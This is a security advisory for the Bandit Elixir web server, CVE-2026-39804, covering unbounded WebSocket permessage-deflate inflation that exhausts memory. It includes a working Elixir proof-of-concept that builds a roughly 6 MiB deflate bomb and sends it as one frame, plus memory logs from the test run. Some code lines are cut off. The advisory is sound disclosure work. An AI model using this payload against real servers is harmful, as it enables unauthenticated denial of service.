Unbounded WebSocket inflate causes BEAM OOM with a single frame

High **mtrudel** published **GHSA-frh3-6pv6-rc8j** 1 hour ago

Package

bandit (Erlang)

Affected versions

> 0.5.8 and < 1.11.0

Patched versions

1.11.0

Description

Summary

When a Bandit-fronted server has explicitly enabled WebSocket permessage-deflate (`compress: true`), an unauthenticated client can OOM the BEAM with a single ~6 MiB WebSocket frame. Bandit's inflate step has no output-size cap, so a small high-ratio compressed frame (e.g. zeros, ~1024:1 ratio) decompresses unbounded into the connection process before any application code runs. Phoenix and LiveView are **not** vulnerable by default — they ship with `compress: false`. Affected apps are those that have deliberately opted in to permessage-deflate.

Details

In `lib/bandit/websocket/permessage_deflate.ex:111-115`, `:zlib.inflate/2` is called without an output-size limit, and `IO.iodata_to_binary/1` then materializes the entire decompressed payload as one contiguous binary in the connection process's heap.

`websocket_options.max_frame_size` only bounds the on-the-wire (compressed) frame, not the decompressed output. With ~1024:1 compression on uniform data, an attacker can stay well under any wire-size cap while still forcing GiB-scale allocations. There is no `{:more, ...}` resumable path on inflate, so upstream callers cannot interpose a 413/close before the allocation completes.

The bug is gated by two server-side flags being true at the same time:

- Bandit's global `websocket_options.compress` (defaults to `true` per `bandit.ex:198-201`).

- The per-upgrade `connection_opts.compress` passed to `WebSockAdapter.upgrade/4` (defaults to `false` per `websock_adapter.ex:42-43`; Phoenix's default is also `false` per `phoenix/lib/phoenix/transports/websocket.ex:33`).

Both must be true for the handshake at `bandit/lib/bandit/websocket/handshake.ex:22` to negotiate permessage-deflate. So the bug is only reachable on apps that explicitly opt in (e.g. `socket "/ws", MySocket, websocket: [compress: true]` in a Phoenix endpoint, or `WebSockAdapter.upgrade(conn, ..., compress: true)` in a plain Plug app).

Suggested fix: thread a maximum-output-size through to inflate and either error out or return resumable chunks once exceeded, mirroring how the HTTP content-length path bounds reads via `:length`.

PoC

A fully self-contained reproducer is attached below. It boots a local Bandit server that performs a `WebSockAdapter.upgrade(conn, EchoSocket, %{}, compress: true)`, opens one WebSocket connection, and sends a single text frame whose ~6 MiB compressed payload inflates to 6 GiB of zeros. Run it with `elixir ws_permessage_deflate_bomb.exs`.

Observed on a 16 GiB Mac (Bandit 1.10.4, Elixir 1.18, otherwise default config):

- Frame on the wire: ~6 MiB.
- BEAM RSS climbed from ~80 MiB to ~12 GiB peak during inflate (6 GiB inflated payload + a transient 6 GiB copy held by `IO.iodata_to_binary/1`), then settled at ~6 GiB until the connection process was GC'd.
- Tuning `@target_decompressed_bytes` upward, or opening N parallel connections, OOM-kills the BEAM outright.

A separate observation worth flagging: in the default setup, something upstream caps wire-side frames at ~8 MiB even though Bandit's documented `max_frame_size` default is `0` (unlimited). The bug is reachable below that cap regardless, but the source of that effective cap is worth confirming.

Impact

Unauthenticated, pre-application-code denial-of-service via memory exhaustion. A single frame from a single client is sufficient to drive a small host to OOM; concurrent connections amplify linearly. The attacker needs only that the server accepts a WebSocket connection — no authentication, no valid route, no application cooperation.

Affected: any Bandit-fronted application that explicitly enables permessage-deflate on its WebSocket upgrade. Stock Phoenix and LiveView apps are **not** affected — both default to `compress: false`. Apps that opt in (typically for bandwidth savings on large payloads) inherit an unbounded-inflate DoS that the documentation does not warn about.

```
# Bandit WebSocket permessage-deflate bomb PoC.
#
```

```
# lib/bandit/websocket/permessage_deflate.ex:111-115 calls :zlib.inflate/2
# with no output-size cap. A small (~4 MiB) compressed frame inflates to
# multiple GiB on the BEAM heap before any application code sees it.
#
# Note: in the default setup something upstream caps wire-side frames at
# ~8 MiB even though Bandit's documented max_frame_size default is 0
# (unlimited). The bug is reachable below that cap regardless.
#
# Run: elixir scripts/bandit/ws_permessage_deflate_bomb.exs

Mix.install([
  {:bandit, "~> 1.10"},
  {:plug, "~> 1.19"},
  {:websock_adapter, "~> 0.5"}
])

defmodule EchoSocket do
  @behaviour WebSock

  def init(_opts), do: {:ok, %{}}
  def handle_in(_message, state), do: {:ok, state}
  def handle_info(_message, state), do: {:ok, state}
  def terminate(_reason, state), do: {:ok, state}
end

defmodule DemoApp do
  @behaviour Plug
  def init(opts), do: opts
  def call(conn, _opts) do
    conn
    |> WebSockAdapter.upgrade(EchoSocket, %{}, compress: true)
    |> Plug.Conn.halt()
  end
end

defmodule Bomb do
  @port 4321
  # 6 GiB inflated -> ~6 MiB compressed (well under the ~8 MiB wire cap).
  @target_decompressed_bytes 6 * 1024 * 1024 * 1024
  @plaintext_chunk_bytes 10 * 1024 * 1024

  def run do
    {:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)

    sock = ws_handshake!()
    deflate_payload = build_deflate_bomb()
    frame = compressed_text_frame(deflate_payload)

    sampler_pid = spawn_link(&sample_memory_loop/0)

    log("Sending #{byte_size(frame)}-byte compressed frame…")
    :ok = :gen_tcp.send(sock, frame)
    handle_recv(sock)

    Process.unlink(sampler_pid)
    Process.exit(sampler_pid, :kill)
```

```
    :gen_tcp.close(sock)
    log("Done.")
  end

  # Open a TCP connection and complete the WebSocket handshake with
  # permessage-deflate. Raises if the server doesn't negotiate it.
  defp ws_handshake! do
    {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false])
    ws_key = :crypto.strong_rand_bytes(16) |> Base.encode64()

    :ok =
      :gen_tcp.send(sock, """
      GET / HTTP/1.1\r
      Host: 127.0.0.1\r
      Upgrade: websocket\r
      Connection: Upgrade\r
      Sec-WebSocket-Key: #{ws_key}\r
      Sec-WebSocket-Version: 13\r
      Sec-WebSocket-Extensions: permessage-deflate\r
      \r
      """)

    {:ok, response} = :gen_tcp.recv(sock, 0, 5_000)
    if not (response =~ "permessage-deflate"), do: raise("permessage-deflate not negotia
    log("Handshake complete.")
    sock
  end

  # Stream-deflate @target_decompressed_bytes worth of zeros so the client
  # never holds the full plaintext at once. RFC 7692 uses raw deflate
  # (window_bits=-15) and ends each message with 0x00 0x00 0xFF 0xFF, which
  # we strip per the spec.
  defp build_deflate_bomb do
    chunk = :binary.copy(<<0>>, @plaintext_chunk_bytes)
    chunk_count = div(@target_decompressed_bytes, @plaintext_chunk_bytes)
    log("Deflating #{div(@target_decompressed_bytes, 1024 * 1024)} MiB plaintext…")

    zstream = :zlib.open()
    :ok = :zlib.deflateInit(zstream, :default, :deflated, -15, 8, :default)
    deflated_chunks = Enum.map(1..chunk_count, fn _ -> :zlib.deflate(zstream, chunk, :no
    final_flush = :zlib.deflate(zstream, <<>>, :sync)
    :zlib.close(zstream)

    deflated = IO.iodata_to_binary([deflated_chunks, final_flush])
    trailer_size = byte_size(deflated) - 4
    <<payload::binary-size(trailer_size), 0x00, 0x00, 0xFF, 0xFF>> = deflated

    log("Compressed to #{byte_size(payload)} bytes (ratio ~#{div(@target_decompressed_by
    payload
  end

  # Wrap payload in a single masked WebSocket text frame with RSV1 set
  # (FIN=1, RSV1=1 indicates permessage-deflate compressed, opcode=0x1=text).
  defp compressed_text_frame(payload) do
    mask = :crypto.strong_rand_bytes(4)
    payload_size = byte_size(payload)
```

```
    mask_stream = binary_part(:binary.copy(mask, div(payload_size, 4) + 1), 0, payload_s
    masked_payload = :crypto.exor(payload, mask_stream)

    length_bytes =
      cond do
        payload_size <= 125 -> <<1::1, payload_size::7>>
        payload_size <= 0xFFFF -> <<1::1, 126::7, payload_size::16>>
        true -> <<1::1, 127::7, payload_size::64>>
      end

    <<1::1, 1::1, 0::2, 0x1::4, length_bytes::binary, mask::binary, masked_payload::bina
  end

  # EchoSocket.handle_in/2 doesn't reply, so recv times out after the
  # observation window. That's enough to watch the BEAM heap spike.
  defp handle_recv(sock) do
    case :gen_tcp.recv(sock, 0, 5_000) do
      {:ok, <<0x88, _len, close_code::16, close_reason::binary>>} ->
        log("Close frame: code=#{close_code} reason=#{inspect(close_reason)}")

      {:ok, bytes} ->
        log("Reply (#{byte_size(bytes)} bytes): #{inspect(bytes, base: :hex, limit: 64)}

      {:error, :timeout} ->
        log("recv timed out (server held the inflated payload silently).")

      {:error, reason} ->
        log("Connection closed: #{inspect(reason)}")
    end
  end

  defp sample_memory_loop do
    log("[mem] BEAM total = #{div(:erlang.memory(:total), 1_048_576)} MiB")
    Process.sleep(250)
    sample_memory_loop()
  end

  defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{m
end

Bomb.run()
```

Logs

```
10:15:24.243 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[08:15:24.269] Handshake complete.
[08:15:24.321] Deflating 6144 MiB plaintext…
[08:15:37.567] Compressed to 6257675 bytes (ratio ~1029x).
[08:15:37.581] Sending 6257689-byte compressed frame…
[08:15:37.582] [mem] BEAM total = 76 MiB
[08:15:37.834] [mem] BEAM total = 759 MiB
[08:15:38.087] [mem] BEAM total = 1480 MiB
[08:15:38.338] [mem] BEAM total = 2214 MiB
[08:15:38.589] [mem] BEAM total = 2724 MiB
```

```
[08:15:38.840] [mem] BEAM total = 3410 MiB
[08:15:39.091] [mem] BEAM total = 3877 MiB
[08:15:39.342] [mem] BEAM total = 4268 MiB
[08:15:39.593] [mem] BEAM total = 4815 MiB
[08:15:39.845] [mem] BEAM total = 5270 MiB
[08:15:40.096] [mem] BEAM total = 5766 MiB
[08:15:40.347] [mem] BEAM total = 12451 MiB
[08:15:40.598] [mem] BEAM total = 12452 MiB
[08:15:40.850] [mem] BEAM total = 12452 MiB
[08:15:41.101] [mem] BEAM total = 12452 MiB
[08:15:41.353] [mem] BEAM total = 12452 MiB
[08:15:41.606] [mem] BEAM total = 12451 MiB
[08:15:41.856] [mem] BEAM total = 6229 MiB
[08:15:42.107] [mem] BEAM total = 6229 MiB
[08:15:42.358] [mem] BEAM total = 6229 MiB
[08:15:42.582] recv timed out (server held the inflated payload silently).
[08:15:42.584] Done.
```

Severity

High 8.2 / 10

CVSS v4 base metrics

Exploitability Metrics	
Attack Vector	Network
Attack Complexity	Low
Attack Requirements	Present
Privileges Required	None
User interaction	None
Vulnerable System Impact Metrics	
Confidentiality	None
Integrity	None
Availability	High
Subsequent System Impact Metrics	
Confidentiality	None
Integrity	None
Availability	None

Learn more about base metrics

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

CVE ID

CVE-2026-39804

Weaknesses

▶ CWE-770

Credits

PJUllrich	Reporter
mtrudel	Remediation developer
maennchen	Coordinator